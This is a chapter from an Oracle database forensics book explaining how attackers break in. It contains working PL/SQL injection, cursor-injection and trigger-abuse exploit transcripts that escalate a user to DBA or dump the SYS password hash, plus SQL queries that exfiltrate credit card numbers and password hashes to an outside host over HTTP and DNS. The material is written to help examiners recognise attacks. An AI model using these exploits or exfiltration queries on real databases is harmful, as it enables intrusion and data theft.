Oracle Forensics

(David Litchfield)

Chapter 3
How Attackers Break In

A forensic examiner should be aware of the ways in which an attacker can subvert the security of the system they are examining. This will enable them to spot the signs of an attack when they come across its footprint whilst looking for evidence. This chapter will cover the ways in which an attacker can break into an Oracle database server and what the attacker might do to retain access. Whilst attacks against the underlying OS are obviously important we won't cover such attacks here because there would be far too much material. Indeed, even to cover just the Oracle specific attacks in depth requires a book unto themselves – and this would be the Oracle Hacker's Handbook, also by the author. This book is about forensics though so we necessarily will cover the key points in this chapter – if you want more – then may I suggest a copy of the afore mentioned book ☺. As we progress through this book we'll refer back to sections in this chapter.

Generally, there are three areas an attacker can exploit to break in to a given system. Firstly, they can exploit the trust already given to them in the case of an inside attacker or in a social engineering attack; secondly, an attacker can exploit a weakness in the configuration of the server and third and last, an attacker can exploit a vulnerability in the software. With regards to the second and the third Oracle has certainly had its fair share of issues – though some would say more than their fair share. Prior to version 10g Oracle would install with extremely weak configuration options: there were a large number of default accounts with easy to guess passwords and components such as the TNS Listener could be administered remotely without a password. As far as software vulnerability goes Oracle has suffered from more unauthenticated remotes (i.e. those vulnerabilities that don't require the attacker to have a valid username or password) than any other database server.

See http://www.databasesecurity.com/dbsec/UnauthenticatedDatabaseRemotes.pdf

According to the Symantec "Internet Security Threat Report" published in March 2007, Oracle patched 168 security holes between July 2006 and December 2006. In the same period Microsoft SQL Server, another highly prized target of vulnerability researchers, didn't require any security patches. Every three months Oracle release what is known as a Critical Patch Update to fix security holes found in their products. At the time of writing CPU release dates have been scheduled for 17th April 2007, 17th July 2007, 16th October 2007 and the 15th of January 2008. The author, again at the time of writing, is currently awaiting patches for 43 flaws, most of them rated as high risk to critical. What this means is that, for the foreseeable future at least, the Oracle database server will be an easy target for attackers because if the author can find these flaws then so too can someone else – perhaps someone with a less honourable agenda. When all's said and done though, Oracle have made dramatic improvements over the recent years in terms of both the quality of their code and their response to security reports. Oracle 10g Release 2 is vastly more secure than 10g Release 1 – the result of Oracle's investment in a suite of code auditing tools such as Fortify.

The Insider Threat

Tracking down an attack from an insider is much more difficult that tracking down an attack from an outside force. The reason for this is quite simple – you generally trust those on the inside. Indeed, they're given credentials to access the system and they interact with the system as part of their day to day job. With an insider, trying to differentiate between the malicious and the benign is difficult to say the least because it's often not what they do but the intent behind why they do it. As an example of this consider an employee in the accounting department that selects data from the financial database. It's part of his job to do this. How can you tell if one day, he selects this data to pass it on to a competitor – or to tell a friend who can then go out and buy stocks just before they announce their third quarter earnings? You can't tell – and this is one of the main problems with ascertaining the inside threat. It's when they step outside of the bounds of what they normally do – this is when they become visible – and this may never happen. Beyond this there's no much that can be said because for every situation that could be covered there are umpteen more that can't. So let's move on to more meaty topics – such as exploiting configuration and software vulnerabilities.

Exploiting Configuration Vulnerabilities

Exploiting a configuration vulnerability generally does not require much expertise and is usually the most easy way for an attacker to break in – though of course this is not always the case. In this section we'll look at some of the common configuration weaknesses that can be exploited to break in.

Default Usernames and Passwords

Prior to 10g, Oracle was renowned for the number of default user accounts that have default passwords after an install. These accounts were unlocked, and provided the attacker knew of the user and password combination, they could log in. There are lists all across the internet detailing the default accounts and their passwords. Some common accounts with their password include

Username	**Password**
SYS	CHANGE_ON_INSTALL
SYSTEM	MANAGER
DBSNMP	DBSNMP
MDSYS	MDSYS
CTXSYS	CTXSYS
WKSYS	WKSYS
SCOTT	TIGER

This list represents just seven – depending upon what components are installed in the database there could be upwards of hundreds of accounts with default passwords. Some of the accounts above are DBAs meaning that, if left in the default state, an attacker could just "walk in" to the database and be in total control. In Chapter 6, Isolating Evidence of Attacks against the Authentication Mechanism**,** we'll look at how to gather evidence from attempts to log in to the server successful or otherwise.

As of 10g, during the install the user is now forced to set passwords and default accounts are generally locked. Until they are unlocked then they can't be used to access the system which is great news. However, 10g is not entirely out the woods when it comes to passwords as we shall see in the next section.

Passwords in files
After installing 10g, both release 1 and 2, there are a number of files that contain the password selected by the DBA during installation. Whilst the passwords are obfuscated it is trivial to recover the clear text password from these files. If an attacker can gain access to these files then they have the keys to the kingdom. These files include:

CONFIGTOOLS.XML
CONFIGTOOLSINSTALLDATE.LOG
IAS.PROPERTIES
TARGETS.XML

Details of how to extract the password won't be covered here – but the Oracle Hacker's Handbook does.

Reflections on default passwords
Many times in my work life I often hear a DBA protest that they block direct connections to the database with a firewall rule setting – this generally means blocking access to port 1521 – so they don't need to worry about default user IDs and passwords. However, they often forget to block ports 2100 and (less so) 8080 which means that, if the Oracle server is running the XML Database (XDB), then attacker can log in over these ports. An FTP service in XDB listens on TCP port 2100 and a web server on port 8080. One of the scenarios we'll be dealing with in Chapter 16 – Case Studies – involves such an incident where an attacker broke in via XDB. Another port often missed is 2481 – the GIOP port – again attackers can log in on this port. This brings us to the next configuration weakness: running unnecessary services.

Unnecessary Services
Here is a simple chain of logic: the more services that are running, the greater the size of the attack surface; the greater the attack surface, the greater the likelihood of a flaw existing; the greater the likelihood of a flaw existing, the greater the likelihood of a successful break in. If there is no strict business requirement for something to be running, if it doesn't serve an active role in any business processes then it should be turned off. For example, dispatchers such as the FTP and Web services of the XML Database should be turned off if not in use because they provide attackers a means of access. We'll discuss XDB further in the section on exploiting software weaknesses. Another we'll look at later is problems with PL/SQL external procedures functionality. If external procedures are not required then this functionality should be disabled. One service that *can't* be disabled is the TNS Listener however and it often provides a means for the attacker to break in.

The TNS Listener
Prior to Oracle 10g the TNS Listener was installed without a password set for it. This means that, unless a password was set at a later time, anybody with access to port 1521, or whatever the port the server is listening on, could remotely administer the Listener. One of ways in which an attacker could exploit this was to set the listener's log file to a set location such as ~/.rhosts on a *nix system or a batch file in the

Startup folder of the administrator on a Windows system. Once the location is set then the attacker can write content to the file such as “+ +” in the case of .rhosts or a command to execute in the case of a batch file in the Startup folder. In the former, once the double plus is in the .rhosts file an attacker can then use the r-based services; in the case of the batch file, when the administrator logs on the command executes. An attack tool called tnscmd.pl exists on the internet that allows an attacker to effect such an attack.

Exploiting Software Vulnerabilities
There are many different classes of software vulnerability and every so often new classes are discovered. Oracle has suffered from most at some point or continues to and these provide an attacker with a way into the server.

Buffer Overflow Vulnerabilities
A buffer overflow vulnerability is conceptually easy to understand. The programmer sets aside some memory to hold some data and they make some assumptions about the size of that data. Along comes an attacker however and stuffs too much data into the buffer. The buffer overflows and the data overwrites other “stuff” in memory – some of which may be crucial to the running of the program or the program’s flow of execution. With this now under the control of the attacker they can get the program to do their bidding as opposed to what the program was supposed to do. As an analogy, think of a chef baking a cake. The chef has a list of instructions to follow – the recipe. The recipe says put a pound of flour into a mixing bowl, followed by pint of milk and three eggs. On doing this, the mixing bowl (which was too small) overflows and spills onto the recipe – making the ink flow. Resuming, the chef tries to make out what the recipe says – but because the ink has flowed the instructions are all wrong… “Does that say add glycerine or nitro-glycerine?” A recipe for disaster indeed!

There are two kinds of buffer overflows - heap based and stack based – both of which are exploitable. An attacker stuffs the buffer with their own computer code and, when the buffer overflows and they overwrite program control information, they redirect the program’s path of execution back into the buffer – where the attacker’s code can be found. It takes a little bit of skill to be able to write a fully functional exploit that takes advantage of an overflow however, there are now attack platforms and frameworks out there, such as H.D. Moore’s Metasploit, that does it all for the attacker – removing the skill element. If you’re interested in learning more about buffer overflows vulnerabilities and how they are exploited may I recommend the Shellcoder’s Handbook? As one of the lead authors of the Shellcoder’s Handbook I can say without bias that it is the best book out there on buffer overflows ☺

The following C code represents a program vulnerable to a stack based buffer overflow:

```
/*
Hellouser.c
*/

int main(int argc, char *argv[])
{
        char name_buffer[30]=””;
        strcpy(name_buffer,argv[1]);
        printf(“Hello, %s!\n”,name_buffer);
        return 0;
}
```

When compiled and someone runs the program the first argument to the program is copied to the "name_buffer" which is 30 bytes big. This is then printed to the screen in a "Hello, *user_input*" message. If someone enters a character string longer than 30 bytes as the first argument the buffer overflows and other data on the stack is overwritten with data the user supplied. In this case it will overwrite what is known as the "saved return address" – which is data the program uses to keep track of its path of execution. When the main function returns, this "saved return address" is peeled off the stack and the processor then "returns" to this address and executes the code it finds there. However, as this "saved return address" has now been overwritten with the attacker's data they can choose the location of where the processor returns to. If they point it to the address of the "name_buffer", which the attacker has just stuffed with computer code, then they can get the program to execute it. Buffer overflows are highly dangerous and have been a plague on software security for too long.

Oracle has suffered from a large number of buffer overflow vulnerabilities in the past – even 10g Release 2 contains buffer overflow issues. Some of the more infamous overflows include a buffer overflow in the RDBMS authentication mechanism with an overly long username; multiple buffer overflows in XDB such as long username and password overflows in the web and ftp services – for which Metasploit has an exploit module; multiple overflows in the TNS Listener such as the long service name overflow; multiple overflows in the time function in the RDBMS. All of these can be exploited by an attacker to run arbitrary code as the user account running the Oracle service – typically the "oracle" user on *nix systems and SYSTEM on Windows.

Format String Vulnerabilities

A format string vulnerability arises when a programmer uses one of the functions in the printf family of functions without specifying the format string. This, in effect, allows the attacker to present the format string instead. One of the format specifiers, the %n specifier, has special meaning and tells the printf function to write the number of bytes already output to a location of the attacker's choosing.

```
/*
echo.c
*/
int main(int argc, char *argv)
{
        return printf(argv[1]);
}
```

If compiled, this program takes the first argument on the command line and prints it to the console. By crafting a specific format string an attacker can write values of their choosing to a location of their choosing. Thus they can overwrite function pointers and so on to redirect the program's flow of execution – allowing them to execute arbitrary code. In the past, the TNS Listener has suffered from format string vulnerabilities that an attacker can use to break in.

PL/SQL Injection

PL/SQL injection vulnerabilities are one of the more common types of Oracle security flaw. Oracle stored procedures are known as packages. These packages contain data, procedures and functions. They also have the ability to execute dynamic SQL statements. By default, when a PL/SQL package executes it does so with the privileges of the owner and so, if the package suffers from a security vulnerability, it presents the attacker with the ability to run SQL as the owner of the package. Consider the following PL/SQL code of a contrived package owned by the SYS user:

```
CREATE OR REPLACE PROCEDURE GET_OWNER(P_OWNER VARCHAR)
IS
EXECUTE IMMEDIATE
'SELECT * FROM ALL_OBJECTS WHERE OBJECT_NAME = '''|| P_OWNER ||'''';
END;
```

This procedure takes the user input, P_OWNER, and embeds it within a dynamic SQL query which is then executed. No sanitization or safety checking is performed on the input before hand. This opens up a PL/SQL injection security vulnerability. By escaping the single quotes an attacker can begin to “inject” their own SQL:

```
EXEC SYS.GET_OWNER(‘AAA’’ UNION SELECT PASSWORD FROM DBA_USERS--‘);
```

This really doesn’t achieve much and to do more than just a “union select” the attacker needs to inject an auxiliary function – this function will contain the exploit payload. There are three ways of achieving this. Firstly, if the attacker has the privileges to create functions they can create their own and place in here the “payload” SQL – for example:

```
SQL> CONNECT SCOTT/TIGER
Connected.
SQL> CREATE OR REPLACE FUNCTION GET_DBA RETURN VARCHAR
  2  AUTHID CURRENT_USER
  3  IS
  4  PRAGMA AUTONOMOUS_TRANSACTION;
  5  BEGIN
  6  EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
  7  RETURN 'FOO';
  8  END;
  9  /

Function created.

SQL> EXEC SYS.GET_OWNER('AAA''||SCOTT.GET_DBA||''BBB');

PL/SQL procedure successfully completed.

SQL> SET ROLE DBA;

Role set.

SQL>
```

Here, the user SCOTT has created a function called GET_DBA which, when execute with the right privilege level, grants him membership of the DBA role. He then injects this function into the vulnerable GET_OWNERS SYS owned procedure. When GET_OWNERS executes the SQL statement it contains it also ends up executing the

GET_DBA function – as the SYS user! Thus SCOTT can get DBA privileges. Exploiting a flaw in this fashion leaves a giant footprint on the server. A more quiet way of exploiting PL/SQL injection flaws use a technique called “cursor injection” – this is the second method an attacker has at their disposal. Essentially, the attacker creates a cursor with the DBMS_SQL package and then binds their payload SQL to the cursor. They then inject this cursor into the vulnerable PL/SQL procedure where it is executed with the higher level of privileges. For example:

```
SQL> CONNECT SCOTT/TIGER
Connected.
SQL> SET SERVEROUTPUT ON
SQL> DECLARE
  2  MY_CURSOR NUMBER;
  3  RESULT NUMBER;
  4  BEGIN
  5  MY_CURSOR := DBMS_SQL.OPEN_CURSOR;
  6  DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction;
  7  begin execute immediate ''grant dba to scott''; commit;
end;',0);
  8  DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR);
  9  END;
 10  /

Cursor value is :6

PL/SQL procedure successfully completed.

SQL> EXEC SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(6))||''BBBB');

PL/SQL procedure successfully completed.

SQL> SET ROLE DBA;

Role set.

SQL>
```

Here, the attacker has opened a cursor using the DBMS_SQL.OPEN_CURSOR function. They’ve then associated the GRANT DBA SQL with the cursor using the DBMS_SQL.PARSE procedure and once this has been done they print the value of the cursor to the screen – they’ll need this information when they come to exploit the flaw in GET_OWNER. Taking the value of the cursor, 6 in this case, they then inject it into the GET_OWNER procedure using the DBMS_SQL.EXECUTE function. When GET_OWNER executes so too does the cursor – and SCOTT is granted DBA privileges. This attack technique is described fully in this paper by the author found here http://www.databasesecurity.com/dbsec/cursor-injection.pdf.

The third way is to inject an extant function as the auxiliary – in other words a function that already exists on the system that, in some way, allows the attacker to run arbitrary SQL. On any given system and depending upon the patch level there are usually a few lying around that can be abused in this fashion. The DBMS_REPCAT_RPC, DBMS_SQLHASH and DBMS_EXPORT_EXTENSION packages all contain such functions. One of them in particular, DBMS_SQLHASH we’ll discuss shortly in the section on cursor snarfing vulnerabilities. More on auxiliary function injection can be found in this paper by the author – http://www.databasesecurity.com/dbsec/auxilliary-function-injection.pdf.

The second and the third methods, cursor injection and auxiliary function injection, can be used by an attacker with only CREATE SESSION privileges. This makes them especially dangerous. PL/SQL injection vulnerabilities pose a real threat to the server's security. They are easy to find and trivial to exploit. Depending upon what the attacker does within their "payload" will determine how easy it is to find evidence of an attack.

Trigger Abuse

Not only are packages, procedures and functions vulnerable to PL/SQL injection but triggers can be too. A trigger is a piece of PL/SQL code that fires when a specific event occurs – for example a user performs a DML operation such as an INSERT. A number of triggers have been found to contain security weaknesses. These include the SDO_LRS_TRIG_INS, SDO_GEOM_TRIG_INS1 and SDO_DROP_USER_BEFORE triggers owned by MDSYS and the CDC_DROP_CTABLE_BEFORE trigger.

Let's look at the latter of these. The CDC_DROP_CTABLE_BEFORE trigger fires whenever a table is dropped. The trigger executes the sys.dbms_cdc_ipublish.change_table_trigger procedure and this procedure calls the ChangeTableTrigger java method which executes the following SQL

```
String sqltext = "SELECT COUNT(*) FROM SYS.CDC_CHANGE_TABLES$ WHERE
CHANGE_TABLE_SCHEMA='" + schema + "' AND CHANGE_TABLE_NAME='" +
tableName +  "'";
```

Here in this Java we can see that the table name is placed verbatim into the dynamic SQL query and then executed. By creating a table with SQL embedded in the name an attacker can execute SQL as SYS when the trigger fires when the table is dropped.

```
SQL> connect scott/tiger
Connected.
SQL> set serveroutput on
SQL> create table "O'||SCOTT.GP||'O" (x number);

Table created.

SQL> create or replace function gp return varchar2
authid current_user is
  2  STMT VARCHAR2(400):= 'select password from dba_users where
username =
''SYS''';
  3  P VARCHAR2(200);
  4  BEGIN
  5  EXECUTE IMMEDIATE STMT INTO P;
  6  dbms_output.put_line('SYS password is '|| P);
  7  RETURN 'SUCCESS';
  8  END;
  9  /

Function created.

SQL> GRANT EXECUTE ON GP TO PUBLIC;
```

```
Grant succeeded.

SQL> drop table "O'||SCOTT.GP||'O";
SYS password is 0D47B550C5F70DED
```

To exploit this flaw, the attacker needs to be able to create a table which is then dropped – all of which leaves evidence behind. Finding such dropped or deleted evidence will be covered in many of the chapters in this book but specifically Chapters 7 – Dissecting the Redo Logs and Chapter 8 – Locating Dropped Objects and Deleted Rows

Cursor Snarfing
When high privileged PL/SQL code creates a cursor using DBMS_SQL and then fails clean up by closing the cursor in the event of an exception can be abused by an attacker to gain privileged access to data or, in certain cases, allow an attacker to run arbitrary SQL. Cursor Snarfing vulnerabilities are fully discussed in the following paper by the author – http://www.databasesecurity.com/dbsec/cursor-snarfing.pdf

Studying a real world example of cursor snarfing we'll look at the DBMS_SQLHASH package. The DBMS_SQLHASH package is owned by SYS but is not directly executable by PUBLIC. As such, we'll use it as an auxiliary inject function in a straight SQL injection attack on GET_OWNER. As we'll be injecting this function into a SYS owned definer rights procedure this, of course, it doesn't matter that PUBLIC can't execute it – SYS will be able to and that's all that matters; anyway – onto the cursor snarfing.

The DBMS_SQLHASH package exports a single function called GETHASH. This function takes a SQL statement as its first parameter which is then parsed via DBMS_SQL.PARSE and then executed via DBMS_SQL.EXECUTE. Whilst it's possible to run a SELECT query using DBMS_SQLHASH.GETHASH during an injection attack it *appears at first* not to be possible to do anything else such as a GRANT DBA TO SCOTT.

Here we attempt to grant DBA privileges to the SCOTT. This attempt should fail:

```
SQL> EXEC SYS.GET_OWNER('BBBB''||DBMS_SQLHASH.GETHASH(''DECLARE
PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''GRANT DBA
TO SCOTT''''; COMMIT; END;'',1,1)||''BBBB');

BEGIN SYS.GET_OWNER('BBBB''||DBMS_SQLHASH.GETHASH(''DECLARE PRAGMA
AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''GRANT DBA TO
TESTUSER''''; COMMIT; END;'',1,1)||''BBBB'); END;
*
ERROR at line 1:
ORA-00900: invalid SQL statement
ORA-06512: at "SYS.DBMS_SYS_SQL", line 1675
ORA-06512: at "SYS.DBMS_SQL", line 629
ORA-06512: at "SYS.DBMS_SQLHASH", line 28
ORA-06512: at line 1
ORA-06512: at "SYS.GET_OWNER", line 7
ORA-06512: at line 1
```

To verify our attempt to grant SCOTT DBA privileges didn't succeed we attempt to set the DBA role, which of course fails:

```
SQL> SET ROLE DBA;
SET ROLE DBA
*
ERROR at line 1:
ORA-01924: role 'DBA' not granted or does not exist
```

The reason the call to DBMS_SQLHASH.GETHASH fails like this is due to the fact that before calling DBMS_SQL.EXECUTE the function calls DBMS_SQL.DESCRIBE_COLUMNS2: because we're attempting to execute a block of anonymous PLSQL there are of course no columns to describe - hence the error. On studying the source we note that, whilst the cursor used for DBMS_SQL is closed in the event of a NO_DATA_FOUND exception there are no clean up routines executed in the event of an unhandled exception. As such, this makes the GETHASH function vulnerable to a cursor snarfing attack. At the point above where we received the "invalid SQL statement" error the cursor should still be left dangling in SCOTT's session. First we need to find the value of the cursor:

```
SQL> DECLARE
2 C NUMBER;
3 BEGIN
4 FOR C IN 1..330 LOOP
5 IF DBMS_SQL.IS_OPEN(C) THEN
6 DBMS_OUTPUT.PUT_LINE(C || ' IS OPEN');
7 END IF;
8 END LOOP;
9 END;
10 /
4 IS OPEN
PL/SQL procedure successfully completed.
SQL>
```

Here we see the value of the cursor is 4. We can feed this directly into DBMS_SQL.EXECUTE:

```
SQL> SELECT DBMS_SQL.EXECUTE(4) FROM DUAL;
DBMS_SQL.EXECUTE(4)
-------------------
1
SQL>
```

Now we can set the DBA role and gain DBA privileges:

```
SQL> SET ROLE DBA;
Role set.
```

With a little bit of tweaking this can also be used to exploit SQL injection problems across the web via Oracle Application Server, for example. Firstly, we don't know what the cursor value is going to be from one query to the next. Cursors, as used by DBMS_SQL, are unique to a given session and start at number 1 and go up to 300 – the maximum number of open cursors allowed by default. By injecting the DBMS_SQLHASH.GETHASH attack and then following up by injecting a call to

DBMS_SQL.EXECUTE and cycling from 1 to 300 it should be possible to locate the dangling cursor. This will only work if the session is not ended between the two injection attempts.

Suffice it to say that, by snarfing a cursor, the DBMS_SQLHASH.GETHASH function can be used by an attacker with only the CREATE SESSION privilege to perform any action as SYS when used in conjunction with a SQL injection flaw in a SYS owned, definer rights package, of which there are many.

Attacks via Oracle Application Server
Attacks from the outside of the network, particularly where the database server is properly protected by a firewall, typically originate from the web server – more often than not in the form of SQL injection attacks in the custom JSP, PHP or ASP application. With Oracle Application Server, and those other web platforms that use the PL/SQL Gateway an additional exposure is created. The PL/SQL Gateway acts almost like a proxy server passing requests from web clients to the backend database server to execute PL/SQL procedures. Even if the web application PL/SQL package is called BOOKSTORE there's nothing to stop an attacker from accessing any other PL/SQL package as long as they know its name and what parameters it takes. That is up until the PLSQL Exclusion List was introduced. Even then, it took Oracle over five years to get the exclusion list right – there are many methods an attacker can use to bypass the exclusion list – but even then the list doesn't cover all bases. The whole sorry story of Oracle Application Server is fully covered in the Oracle Hacker's Handbook. We'll talk more about the key aspects in Chapter 14 – Web Server and Network Logfiles. For now you should not that an attacker can gain full control of the backend database server via the Oracle Application Server – or indeed any SQL Injection vulnerability in a web application. Most of the attack techniques described in this chapter work equally well through a web server.

Exploiting PL/SQL External Procedures
PL/SQL can be extended by allowing procedures to call C functions in dynamic link libraries or shared objects. This works as follows: when a procedure that executes an external C function is executed the RDBMS connects to the TNS Listener. The TNS Listener loads a program called extproc and the redirects the RDBMS to it. The RDBMS then tells extproc to load the library and execute the function passing it whatever parameters the user has specified. In all of this there is no authentication. As such, an attacker can, without a user ID and password, connect to the TNS Listener from across the network over TCP pretending to be the RDBMS and ask it to load extproc. The TNS Listener duly does so and redirects the attacker to extproc. From here, the attacker tells extproc to load msvcrt.dll if running Windows or libc if running *nix and execute the system() function passing in an arbitrary OS command. In this way an attacker can run commands as the Oracle user. This presents a serious threat. When the author reported this flaw to Oracle they attempted to fix it – well on versions 9 and above. Oracle wouldn't and still won't fix this issue on Oracle 8.1.7.4, which at the time of writing is still a supported product. Anyway, for version 9 and later, the fix was to prevent attempts to load libraries from a remote location and the attempt would be logged. The logging code made an unsafe call to the sprintf() function leading to a stack based buffer overflow vulnerability with an overly long library name which could be exploited by an attacker to *still* break in. Oracle attempted to fix this, too. However, rather than fixing the sprintf() call by using

snprintf() Oracle performed a length check of the string and then passed it to sprintf(). In between the length check and calling sprintf() however any environment variables in present were expanded – so $PATH - which is 6 characters became whatever length the PATH environment variable was – which is usually a lot more than 6. By padding the buffer with a large number of $PATH entries, the length check was passed and the variables expanded – thus when it came to calling sprinf() the buffer could again be overflowed allowing the attacker to *still* break in! Not that you can see it but "*still*" is double italicised. In Chapter 16, Case Studies, we'll look at attempts by attacker, both successful and unsuccessful to exploit problems in extproc.

Securing the Beachhead
Once they've broken in an attacker will want to secure their access and steal data – both of which leads us on to Exfiltrating Data and Maintaining Access.

Exfiltrating Data

Data exfiltration is the act of getting data out of the server. Where the attacker is located will largely determine the way in which they exfiltrate data. With physical access to the machine an attacker could walk out with the data hidden in an iPod or a digital camera if they wanted to be like James Bond – though a USB memory stick would suffice. Data exfiltration over the network is a different proposition and there are in-band and out-band methods an attacker could use. An in-band method gets data out over the same channel the SQL query is going across but the leaking of sensitive data in this way is often easy to spot in high risk and high sensitive networks. An out-of-band method will use another network connection – usually of a different type. For example, the attacker could use UTL_HTTP to exfiltrate data via web servers. Let's assume the attacker wanted to extract credit card numbers from the database but knew there was a network sensor looking out for such numbers over the SQL port. They could hide from it by sending out traffic over TCP port 80 – assuming the firewall allows it out:

```
SQL> SELECT UTL_HTTP.REQUEST('WWW.DATABASESECURITY.COM/' || (SELECT
CCNUM FROM CUSTOMERS WHERE ID=1)) FROM DUAL;
```

Even if the firewall did block outgoing on port 80 UTL_HTTP.REQUEST allows the user to specify a port number – so let's say the firewall allowed out bound SSH connections (TCP port 22) then the attacker could request:

```
SQL> SELECT UTL_HTTP.REQUEST('WWW.DATABASESECURITY.COM:22/' ||
(SELECT CCNUM FROM CUSTOMERS WHERE ID=1)) FROM DUAL;
```

Before sending out the data the attacker could obfuscate it with UTL_ENCODE.

Another method of getting data out of the network is in DNS queries over UDP port 53 using UTL_INADDR. For example, provided the attacker has access to the domain name server of the domain in question they could leak the SYS password hash out of the network using DNS with the following query:

```
SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT PASSWORD FROM DBA_USERS
WHERE USERNAME = 'SYS')||'.databasesecurity.com' ) FROM DUAL;
```

Because it's DNS this will get through a great number of firewalls.

Attacks that involve just the selecting of data can be quite difficult to find evidence of on the database server unless auditing is enabled. There are places where this evidence can be found but the forensic examiner will need to be quick because the evidence is usually volatile. We'll cover this in Chapter 5 – Live Response. Beyond that, logs from other network devices may be able to provide more evidence – which we'll cover in Chapter 14 – Web Server and Network Log Files.

Maintaining Access

Once an attacker has gained entry to the system they may choose to make changes to the system to ensure their continued access. A forensic examiner, as well as a DBA, should be able to spot these changes. Although people like Chris Anley and myself had discussed such ideas in the Database Hacker's Handbook and prior to this in "Violating Database Security Measures" - http://www.ngssoftware.com/papers/violating_database_security.pdf - in 2002 - such changes were popularized as "rootkits" by Alexander Kornbrust at a Blackhat Security Briefing in 2005. Whilst, strictly speaking, they are not "rootkits" the term will suffice for our discussions.

Database "rootkits" may change the text of views to hide information; they may alter permissions on dangerous PL/SQL packages such as INITJVMAUX or DBMS_SYS_SQL; they may change code in memory so, given the right "password", full access is granted; they may create triggers to execute specified SQL when certain events happen such as a logon by a DBA user; they may modify the code to exisiting PL/SQL objects; they may grant DBA to user accounts; they may take any number of actions. Some changes are easy to spot where as others are more subtle but either way trust and assurance come into play: how can we trust what a system is telling us about its state if it's been compromised? We'll cover this in depth in Chapter 13 – Detecting Database "Rootkits".

Wrapping Up

Not only should the forensic examiner be aware of the methods an attacker will employ to break in, which this chapter has details, but in each incident response situation the examiner needs to be able to plot the attack surface for the system in question and explore all of these as potential avenues. Is the server connected to a web application server? Is the server protected by a firewall and, if so, what ports are blocked? Is the server running additional services such as the XML database? The answers to the questions such as these will help determine the route the attacker took to get in.